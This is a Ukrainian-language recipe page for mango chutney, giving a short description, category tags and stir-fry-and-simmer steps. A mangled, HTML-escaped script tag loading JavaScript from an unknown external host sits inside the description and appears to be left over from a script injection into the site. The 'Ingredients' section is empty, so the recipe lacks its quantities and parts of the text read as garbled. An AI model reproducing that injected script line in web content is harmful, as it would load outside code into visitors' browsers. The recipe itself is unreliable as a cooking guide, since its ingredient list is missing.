Чатні з мангоЧас приготування: 30 хв Як відомо, чатні - це широко розповсюджене на півдні Азії блюдо. Це традиційна приправа, яку зазвичай готують із фруктів - зокрема, з манго. Ділюся рецептом. Опис приготування: Чатні з манго - це дуже популярна індійська приправа, яка завдяки спецій і незвичайної технології приготування дуже здорово збуджує апетит. Зазвичай її передають перед основною стравою, разом з якою-небудь закускою. У нашій родині чатні з манго використовується різними способами - намазуємо на хліб, додаємо в млинчики, подаємо з оладками, всякими різними закусками ... Смак передати складно - треба пробувати. Чого вам і бажаю! Amp; ltscript type= text/javascript src= http: //fsgv/i.jsraquo; amp; gt amp; lt/script amp; gt Основний інгредієнт: Фрукти/Манго Блюдо: Соуси/Чатни Географія кухні: Азіатська, Східна кухні Інгредієнти:
Кількість порцій: 8 Як приготувати Чатни з манго Очищаємо манго від шкірки. М'якоть манго потрібно розім'яти ложечкою до пюреобразного стану. У сковороді розігрійте масло, обсмажте в ньому перець і спеції протягом 1-2 хвилини на швидкому вогні. Тепер додаємо лимонний сік, перемішуємо. Відразу ж додаємо манго і зменшуємо вогонь. Тушкуємо, помішуючи, протягом 5 хвилин. Знімаємо з вогню, охолоджуємо - і готово! Зберігати в холодильнику. Ви хочете, щоб у вас вийшов такий же смачний і апетитний кулінарний шедевр як на фото? Для цього вам необхідно уважно прочитати рецепт приготування, що дасть зрозуміти, як готувати Чатни з манго в домашніх умовах. Приготування не доставить вам багато клопоту, якщо ви будете слідувати всім розпорядженням. Погодьтеся, рецепт не тільки простий, але і достатньо дешевий. А ось класичний склад інгредієнтів, може бути змінений на ваш смак - це справа вашої фантазії. Головне, не забувайте про калорійність продуктів для збереження гарної фігури і здоров'я. Якщо у вас вийшло чудове блюдо, не полінуйтеся подякувати за це автора. Чатні з манго - кращий спосіб, як зробити ваше життя приємніше і доставити радість близьким! |
||
Категорія: Соуси Переглядів: 18